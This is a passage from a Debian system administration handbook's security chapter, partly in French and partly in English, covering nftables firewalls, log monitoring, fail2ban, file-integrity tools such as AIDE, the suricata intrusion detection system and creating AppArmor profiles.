The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.

This model was defined in the standard ISO/EIC 7498. The following seven layers are described:

1. Physical: transmission and reception of raw bit streams over a physical medium

2. Data Link: reliable transmission of data frames between two nodes connected by a physical layer

3. Network: structuring and managing a multi-node network, including addressing, routing and traffic control

4. Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing

5. Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes

6. Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption

7. Application: High-level APIs, including resource sharing, remote file access.

More information can be found on Wikipedia:

→ https://en.wikipedia.org/wiki/OSI_model

The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified.

There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack. Base chains are registered into the Netfilter hooks, e.g. they see packets flowing through the TCP/IP stack. On the other hand, a regular chain is not attached to any hook so it does not see any traffic. But it may be used as a jump target for better organization of the rules.

Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain.

B.A.-BA ICMP

ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC 777 and RFC 792 were soon completed and extended.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Rappelons qu'un tampon de réception est une petite zone mémoire contenant les données reçues par le réseau avant qu'elles ne soient traitées par le noyau. Si cette zone est pleine, il est alors impossible de recevoir d'autres données et ICMP signale le problème de sorte que le correspondant réduise la vitesse de transfert pour essayer d'atteindre un équilibre.

Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC 4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Moving from iptables to nftables

The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rule sets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:

# iptables-save > iptables-ruleset.txt

# iptables-restore-translate -f iptables-ruleset.txt

# Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022

add table ip filter

add chain ip filter INPUT { type filter hook input priority 0; policy accept; }

add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }

add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }

add chain ip filter DOCKER

add chain ip filter DOCKER-ISOLATION-STAGE-1

add chain ip filter DOCKER-ISOLATION-STAGE-2

add chain ip filter DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1

add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept

add rule ip filter FORWARD oifname "docker0" counter jump DOCKER

add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept

add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept

add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2

add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return

add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop

add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return

add rule ip filter DOCKER-USER counter return

add table ip nat

add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }

add chain ip nat INPUT { type nat hook input priority 100; policy accept; }

add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }

add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }

add chain ip nat DOCKER

add rule ip nat PREROUTING fib daddr type local counter jump DOCKER

add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER

add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade

add rule ip nat DOCKER iifname "docker0" counter return

# Completed on Wed Mar 16 22:06:32 2022

# iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft

# nft -f ruleset.nft

# nft list ruleset

table inet filter {

chain input {

type filter hook input priority filter; policy accept;

}

chain forward {

type filter hook forward priority filter; policy accept;

}

chain output {

type filter hook output priority filter; policy accept;

}

}

table ip nat {

chain DOCKER {

iifname "docker0" counter packets 0 bytes 0 return

iifname "docker0" counter packets 0 bytes 0 return

}

chain POSTROUTING {

type nat hook postrouting priority srcnat; policy accept;

oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade

oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade

}

chain PREROUTING {

type nat hook prerouting priority dstnat; policy accept;

fib daddr type local counter packets 1 bytes 60 jump DOCKER

fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain OUTPUT {

type nat hook output priority -100; policy accept;

ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER

ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain INPUT {

type nat hook input priority 100; policy accept;

}

}

table ip filter {

chain DOCKER {

}

chain DOCKER-ISOLATION-STAGE-1 {

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2

counter packets 0 bytes 0 return

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2

counter packets 0 bytes 0 return

}

chain DOCKER-ISOLATION-STAGE-2 {

oifname "docker0" counter packets 0 bytes 0 drop

counter packets 0 bytes 0 return

oifname "docker0" counter packets 0 bytes 0 drop

counter packets 0 bytes 0 return

}

chain FORWARD {

type filter hook forward priority filter; policy drop;

counter packets 0 bytes 0 jump DOCKER-USER

counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1

oifname "docker0" ct state related,established counter packets 0 bytes 0 accept

oifname "docker0" counter packets 0 bytes 0 jump DOCKER

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept

iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept

counter packets 0 bytes 0 jump DOCKER-USER

counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1

oifname "docker0" ct state established,related counter packets 0 bytes 0 accept

oifname "docker0" counter packets 0 bytes 0 jump DOCKER

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept

iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept

}

chain DOCKER-USER {

counter packets 0 bytes 0 return

counter packets 0 bytes 0 return

}

chain INPUT {

type filter hook input priority filter; policy accept;

}

chain OUTPUT {

type filter hook output priority filter; policy accept;

}

}

The tools iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.

14.2.3. Syntax of nft

The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6.

To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement.

insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root.

nft allows many more operations, refer to its manual page nft(8) for more information.

14.2.4. Installer les règles à chaque démarrage

To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables as root. You can stop the firewall by executing nft flush ruleset as root.

In other cases, the recommended way is to register the configuration script in up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw.

Exemple 14.1. Fichier interfaces avec appel du script de pare-feu

auto eth0

iface eth0 inet static

address 192.168.0.1

network 192.168.0.0

netmask 255.255.255.0

broadcast 192.168.0.255

up /usr/local/etc/arrakis.fw

Ces exemples supposent que les interfaces réseau sont configurées par ifupdown. Si vous utilisez un autre outil (par exemple NetworkManager ou systemd-networkd), il faudra vous référer à la documentation spécifique de cet outil pour trouver le moyen d'exécuter un script après la mise en marche de l'interface.

14.3. Supervision : prévention, détection, dissuasion

La supervision fait partie intégrante d'une politique de sécurité. Elle est nécessaire à plusieurs titres : l'objectif de la sécurité n'est pas uniquement de garantir la confidentialité des données, mais aussi d'assurer le bon fonctionnement des services. Il est donc impératif de veiller à ce que tout fonctionne comme prévu et de détecter au plus tôt les comportements inhabituels et les changements dans la qualité du service fourni. Surveiller l'activité peut permettre de détecter des tentatives d'intrusion et donc de s'en protéger avant que cela ne porte à conséquences. Ce chapitre va passer en revue des outils servant à surveiller différents aspects d'un système Debian. Il complète la Section 12.4, « Supervision ».

14.3.1. Surveillance des logs avec logcheck

Le programme logcheck scrute par défaut les fichiers de logs toutes les heures et envoie par courrier électronique à root les messages les plus inhabituels pour aider à détecter tout nouveau problème.

La liste des fichiers scrutés se trouve dans le fichier /etc/logcheck/logcheck.logfiles ; les choix par défaut conviendront si le fichier /etc/rsyslog.conf n'a pas été complètement remodelé.

logcheck peut fonctionner en 3 modes plus ou moins détaillés : paranoid (paranoïaque), server (serveur) et workstation (station de travail). Le premier étant le plus verbeux, on le réservera aux serveurs spécialisés (comme les pare-feu). Le deuxième mode, choisi par défaut, est recommandé pour les serveurs. Le dernier, prévu pour les stations de travail, élimine encore plus de messages.

Dans tous les cas, il faudra probablement paramétrer logcheck pour exclure des messages supplémentaires (selon les services installés) sous peine d'être envahi chaque heure par une multitude de messages inintéressants. Leur mécanisme de sélection étant relativement complexe, il faut lire à tête reposée le document /usr/share/doc/logcheck-database/README.logcheck-database.gz pour bien le comprendre.

Plusieurs types de règles sont appliqués :

- celles qui qualifient un message comme résultant d'une tentative d'attaque (elles sont stockées dans un fichier du répertoire /etc/logcheck/cracking.d/) ;

- celles qui annulent cette qualification (/etc/logcheck/cracking.ignore.d/) ;

- celles qui qualifient un message comme une alerte de sécurité (/etc/logcheck/violations.d/) ;

- celles qui annulent cette qualification (/etc/logcheck/violations.ignore.d/) ;

- et enfin celles qui s'appliquent à tous les messages restants (les System Events, ou événements système).

ATTENTION Ignorer un message

Tout message marqué comme une tentative d'attaque ou une alerte de sécurité (suite par exemple à une règle du fichier /etc/logcheck/violations.d/monfichier) ne pourra être ignoré que par une règle des fichiers /etc/logcheck/violations.ignore.d/monfichier ou /etc/logcheck/violations.ignore.d/monfichier-extension.

Un événement système sera systématiquement signalé, sauf si une règle de l'un des répertoires /etc/logcheck/ignore.d.{paranoid,server,workstation}/ dicte de l'ignorer. Évidemment, seuls les répertoires correspondant à des niveaux de verbosité supérieurs ou égaux au niveau sélectionné sont pris en compte.

14.3.2. Surveillance de l'activité

14.3.2.1. En temps réel

top est un utilitaire interactif qui affiche la liste des processus en cours d'exécution. Par défaut, son critère de tri est l'utilisation actuelle du processeur (touche P), mais on peut opter pour la mémoire occupée (touche M), le temps processeur consommé (touche T) ou le numéro de processus ou PID (touche N). La touche k (comme kill) nécessite un numéro de processus à tuer. r (comme renice) change la priorité d'un processus.

When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.

top est un outil de base très souple et sa page de manuel explique comment en personnaliser l'affichage pour l'adapter aux besoins et aux habitudes de chacun.

L'outil graphique gnome-system-monitor est similaire à top, et il propose sensiblement les mêmes fonctionnalités.

14.3.2.2. Historique

La charge du processeur, le trafic réseau et l'espace disque disponible sont des informations qui varient en permanence. Il est souvent intéressant de garder une trace de leur évolution pour mieux cerner l'usage qui est fait de l'ordinateur.

Il existe de nombreux outils dédié à cette tâche. La plupart peuvent récupérer des données via SNMP (Simple Network Management Protocol, ou protocole simple de gestion du réseau) afin de centraliser ces informations. Cela permet en outre de récupérer des informations sur des éléments du réseau qui ne sont pas nécessairement des ordinateurs (comme des routeurs).

This book deals with Munin in some detail (see Section 12.4.1, « Mise en œuvre de Munin ») as part of Chapitre 12: « Administration avancée ». Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite.

ALTERNATIVE mrtg

mrtg (du paquet Debian éponyme) est un outil plus ancien et plus rustique capable d'agréger des données historiques et d'en faire des graphiques. Il dispose d'un certain nombre de scripts de récupération des données les plus couramment surveillées : charge, trafic réseau, impacts (hits) web, etc.

Les paquets mrtg-contrib et mrtgutils contiennent des scripts d'exemples, prêts à l'emploi.

14.3.3. Avoiding Intrusion

Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log into an unauthorized software system by performing multiple login attempts in a short period of time.

The best way to stop a brute-force attack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address.

Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attempts to a log file. It can be found in the package fail2ban.

Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban/:

- fail2ban.conf. Global configuration (such as logging).

- filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.

- action.d/*.conf. Actions defining the commands for banning and “unbanning“ of IP addresses.

- jail.conf. It is where jails, the combinations of filters and actions, are defined.

Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works...

[...]

[DEFAULT]

[...]

bantime   = 10m

[...]

findtime  = 10m

[...]

maxretry  = 5

[...]

[sshd]

port     = ssh

logpath  = %(sshd_log)s

backend  = %(sshd_backend)s

Fail2Ban will check for failed login attempts for sshd using Python regular expressions defined in /etc/fail2ban/filter.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths-common.conf. If Fail2Ban detects five failed login attempts within 10 minutes, it will ban the IP address where those attempts originated for 10 minutes.

To enable, disable, or configure “jails“, the main configuration file /etc/fail2ban/jail.conf is not supposed to be altered. Instead this is supposed to be done in /etc/fail2ban/jail.d/defaults-debian.conf or files within the same directory.

Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.

A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.

14.3.4. Détection des changements

Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).

14.3.4.1. Audit des paquets avec dpkg --verify

POUR ALLER PLUS LOIN Se protéger des modifications en amont

dpkg --verify and debsums are useful in detecting changes to files coming from a Debian package, but they will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see Section 6.6, « Vérification d'authenticité des paquets »), and taking care to only install packages from a certified origin.

dpkg --verify (ou dpkg -V) est un outil intéressant qui permet de trouver quels fichiers installés ont été modifiés (potentiellement par un attaquant), mais cette information est à prendre avec précaution. Pour faire son travail, dpkg utilise les sommes de contrôle stockée dans sa propre base de données, qui est elle-même stockée sur le disque dur (dans le fichier /var/lib/dpkg/info/paquet.md5sums) ; un attaquant minutieux pourra donc mettre à jour ces fichiers pour qu'ils correspondent aux nouvelles sommes de contrôle des fichiers corrompus.

B.A.-BA Empreinte d'un fichier

As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm, e.g. MD5 via md5sum or SHA* via various sha* commands being well-known examples, that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task.

La commande dpkg -V vérifie tous les paquets installés, et affiche une ligne pour chaque fichier qui échoue au test d'intégrité. Le format de sortie est le même que celui de rpm -V, où chaque caractère correspond à un test sur une métadonnée spécifique. Malheureusement, dpkg ne stocke pas toutes les métadonnées requises pour tous les tests, et n'affichera donc que des points d'interrogation pour la plupart. À l'heure actuelle, seul le test de somme de contrôle peut afficher un « 5 » (en troisième colonne) en cas d'échec.

# dpkg -V

??5??????   /lib/systemd/system/ssh.service

??5?????? c /etc/libvirt/qemu/networks/default.xml

??5?????? c /etc/lvm/lvm.conf

??5?????? c /etc/salt/roster

In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service.d/override.conf override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the "c" letter on the second field) that had been legitimately modified.

14.3.4.2. Audit des paquets : l'outil debsums et ses limites

debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar workarounds).

Comme il n'est pas possible de faire confiance aux fichiers stockés sur le disque, debsums permet d'effectuer ses vérifications à partir de fichiers .deb plutôt qu'à partir de la base de données de dpkg. Pour télécharger les fichiers .deb de confiance de tous les paquets installés, on peut utiliser les téléchargements authentifiés d'APT. Mais cette opération peut être longue et pénible, et n'est donc pas à envisager dans le cadre d'une technique proactive à utiliser de manière routinière.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`

[ ... ]

# debsums -p /var/cache/apt/archives --generate=all

Attention, cet exemple a employé la commande grep-status du paquet dctrl-tools, qui n'est pas installé en standard.

debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpose or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore.

14.3.4.3. Surveillance des fichiers : AIDE

AIDE (Advanced Intrusion Detection Environment) est un outil qui sert à vérifier l'intégrité des fichiers et à détecter toute altération par rapport à une image du système préalablement enregistrée et validée. Cette dernière prend la forme d'une base de données (/var/lib/aide/aide.db) contenant les caractéristiques de tous les fichiers du système (permissions, horodatages, empreintes numériques, etc.). Cette base de données est initialisée une première fois par aideinit ; elle est ensuite employée pour vérifier quotidiennement (script /etc/cron.daily/aide) que rien n'a changé. Si des changements sont détectés, le logiciel les enregistre dans des fichiers de journalisation (/var/log/aide/*.log) et envoie un courrier à l'administrateur avec ses découvertes.

EN PRATIQUE Protection de la base de données

Puisque AIDE utilise une base de données pour comparer l'état des fichiers, il faut être conscient que la validité des résultats fournis dépend de la validité de la base de données. Sur un système compromis, un attaquant obtenant les droits root pourra remplacer la base de données et passer inaperçu. C'est pourquoi, pour plus de sécurité, il peut être intéressant de stocker la base de données de référence sur un support accessible en lecture seulement.

Le comportement du paquet aide se paramètre grâce à de nombreuses options dans /etc/default/aide. La configuration du logiciel proprement dit se trouve dans /etc/aide/aide.conf et /etc/aide/aide.conf.d/ (en réalité, ces fichiers servent de base à update-aide.conf pour créer /var/lib/aide/aide.conf.autogenerated). La configuration indique quelles propriétés de chaque fichier il faut vérifier. Ainsi, le contenu des fichiers de logs peut varier tant que les permissions associées ne varient pas, mais le contenu et les permissions d'un exécutable doivent être fixes. La syntaxe n'est pas très compliquée, mais elle n'est pas forcément intuitive pour autant. La lecture de la page de manuel aide.conf(5) est donc bénéfique.

Une nouvelle version de la base de données est générée chaque jour dans /var/lib/aide/aide.db.new et peut être utilisée pour remplacer la base officielle si tous les changements constatés étaient légitimes.

ALTERNATIVE Tripwire et Samhain

Tripwire est très similaire à AIDE ; la syntaxe de son fichier de configuration est quasiment identique. Le paquet tripwire propose en outre un mécanisme de signature du fichier de configuration afin qu'un attaquant ne puisse pas le changer pour le faire pointer vers une version différente de la base de données.

Samhain offre des fonctionnalités similaires ainsi qu'un certain nombre de fonctions pour détecter la présence de rootkits (voir DÉCOUVERTE Les paquets checksecurity et chkrootkit/rkhunter). En outre, il peut être employé sur tout un réseau et enregistrer ses traces sur un serveur central après les avoir signées.

DÉCOUVERTE Les paquets checksecurity et chkrootkit/rkhunter

Le premier paquet contient plusieurs petits scripts qui effectuent des vérifications de base sur le système (mot de passe vide, détection de nouveaux fichiers setuid, etc.) et alertent l'administrateur si nécessaire. Malgré son nom explicite, il ne faut pas se fier seulement à ce paquet pour vérifier la sécurité d'un système Linux.

Les paquets chkrootkit et rkhunter recherchent de potentiels rootkits installés sur le système. Rappelons qu'il s'agit de logiciels destinés à dissimuler la compromission d'un système et à conserver un contrôle discret sur la machine. Les tests ne sont pas fiables à 100 %, mais ils permettent tout de même d'attirer l'attention de l'administrateur sur des problèmes potentiels.

rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

14.3.5. Détection d'intrusion (IDS/NIDS)

B.A.-BA Dénis de service

Une attaque de type « déni de service » a pour seul objectif de rendre un service réseau inexploitable. Que cela soit en surchargeant le serveur de requêtes ou en exploitant un bogue de celui-ci, le résultat est toujours le même : le service en question n'est plus fonctionnel, les utilisateurs habituels sont mécontents et l'hébergeur du service réseau visé s'est fait une mauvaise publicité (en plus d'avoir éventuellement perdu des ventes, s'il s'agit par exemple d'un site de commerce en ligne).

Une telle attaque est parfois « distribuée », il s'agit alors de surcharger la machine avec un grand nombre de requêtes en provenance de nombreuses sources, afin que le serveur ne puisse plus répondre aux requêtes légitimes. En anglais, on parle de (distributed) denial of service (abrégé en DoS ou DDoS).

suricata (in the Debian package of the same name) is an NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected.

→ https://suricata.io

→ https://www.elastic.co/products/kibana

ATTENTION Rayon d'action

suricata est limité par le trafic qu'il voit transiter sur son interface réseau : il ne pourra évidemment rien détecter s'il n'observe rien. Branché sur un commutateur (switch), il ne surveillera que les attaques ciblant la machine l'hébergeant, ce qui n'a qu'un intérêt assez limité. Pensez donc à relier la machine employant suricata au port « miroir », qui permet habituellement de chaîner les commutateurs et sur lequel tout le trafic est dupliqué.

Configuring suricata involves reviewing and editing /etc/suricata/suricata.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation.

On top of this, you should also edit it to define the network interface. You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target).

To detect bad behavior, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it.

Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rule sets from external sources.

POUR ALLER PLUS LOIN Intégration avec prelude

Prelude offre une supervision centralisée des informations de sécurité. Pour cela, il dispose d'une architecture modulaire : un serveur (le manager du paquet prelude-manager) centralise les alertes détectées par des capteurs (sensors) de plusieurs types.

Suricata peut être configuré comme un de ces capteurs. Il existe aussi prelude-lml (Log Monitor Lackey, ou laquais de surveillance de journaux système) qui surveille quant à lui les fichiers de logs, à l'instar de logcheck (voir Section 14.3.1, « Surveillance des logs avec logcheck »), déjà étudié.

14.4. Introduction à AppArmor

14.4.1. Les principes

AppArmor est un système de contrôle d'accès obligatoire (Mandatory Access Control) qui s'appuie sur l'interface Linux Security Modules fournie par le noyau Linux. Concrètement, le noyau interroge AppArmor avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée. Ce mécanisme permet à AppArmor de confiner des programmes à un ensemble restreint de ressources.

AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in Section 14.5, « Introduction à SELinux »), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).

Les profils AppArmor sont stockés dans /etc/apparmor.d/ ; ils consistent en une liste de règles de contrôle d'accès sur les ressources que peut utiliser chaque programme. Les profils sont compilés et chargés dans le noyau par le biais de la commande apparmor_parser. Chaque profil peut être chargé soit en mode strict (enforcing) soit en mode relâché (complaining). Le mode strict applique les règles et rapporte les tentatives de violation, alors que le mode relâché se contente d'enregistrer dans les journaux système les appels système qui auraient été bloqués, sans les bloquer réellement.

14.4.2. Activer AppArmor et gérer les profils

AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing apt install apparmor apparmor-profiles apparmor-utils with root privileges.

AppArmor is functional after the installation, and aa-status will confirm it quickly:

# aa-status

apparmor module is loaded.

32 profiles are loaded.

15 profiles are in enforce mode.

/usr/bin/man

[...]

17 profiles are in complain mode.

/usr/sbin/dnsmasq

[...]

1 processes have profiles defined.

1 processes are in enforce mode.

/usr/sbin/libvirtd (468) libvirtd

0 processes are in complain mode.

0 processes are unconfined but have a profile defined.

NOTE Autres profils AppArmor

Le paquet apparmor-profiles contient des profils développés par la communauté amont d'AppArmor. Pour en obtenir d'autres encore, il est possible d'installer apparmor-profiles-extra, qui contient des profils développés par Ubuntu et Debian.

The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit.

# aa-enforce /usr/bin/pidgin

Setting /usr/bin/pidgin to enforce mode.

# aa-complain /usr/sbin/dnsmasq

Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. Créer un nouveau profil

Bien qu'il soit assez simple de créer un profil AppArmor, peu de programmes en fournissent un. Cette section montre comment créer un nouveau profil depuis zéro, simplement en utilisant le programme visé et en indiquant à AppArmor de surveiller les appels système qu'il passe et les ressources qu'il utilise.

Les programmes qui devront être confinés en priorité sont ceux qui font face au réseau, car ce sont eux qui seront les cibles les plus alléchantes pour des attaquants distants. C'est précisément dans ce but qu'AppArmor fournit une commande aa-unconfined, qui liste les programmes qui, sans avoir de profil associé, exposent quand même un port de communication. L'option --paranoid liste même tous les processus non confinés qui ont au moins une connexion réseau ouverte.

# aa-unconfined

451 /usr/bin/containerd not confined

467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined

892 /usr/sbin/exim4 not confined

In the following example, we will thus try to create a profile for /sbin/dhclient (there already is a profile shipped by apparmor-profiles, so you can compare your results to the official one). For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:

# aa-genprof dhclient

Writing updated profile for /usr/sbin/dhclient.

Setting /usr/sbin/dhclient to complain mode.

Before you begin, you may wish to check if a

profile already exists for the application you

wish to confine. See the following wiki page for

more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

S

Reading log entries from /var/log/syslog.

Profile:  /usr/sbin/dhclient

Execute:  /usr/sbin/dhclient-script

Severity: unknown

(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish

P

Should AppArmor sanitise the environment when

switching profiles?

Sanitising environment is more secure,

but some applications depend on the presence

of LD_PRELOAD or LD_LIBRARY_PATH.

[(Y)es] / (N)o

Y

Writing updated profile for /usr/sbin/dhclient-script.

Complain-mode changes:

Profile:    /usr/sbin/dhclient

Capability: net_raw

Severity:   8

[1 - capability net_raw,]

(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding capability net_raw, to profile.

Profile:    /usr/sbin/dhclient

Capability: net_bind_service

Severity:   8

[1 - #include <abstractions/nis>]

2 - capability net_bind_service,

(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding #include <abstractions/nis> to profile.

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

[1 - #include <abstractions/lightdm>]

2 - #include <abstractions/openssl>

3 - #include <abstractions/ssl_keys>

4 - owner /etc/ssl/openssl.cnf r,

(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

2

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

1 - #include <abstractions/lightdm>

[2 - #include <abstractions/openssl>]

3 - #include <abstractions/ssl_keys>

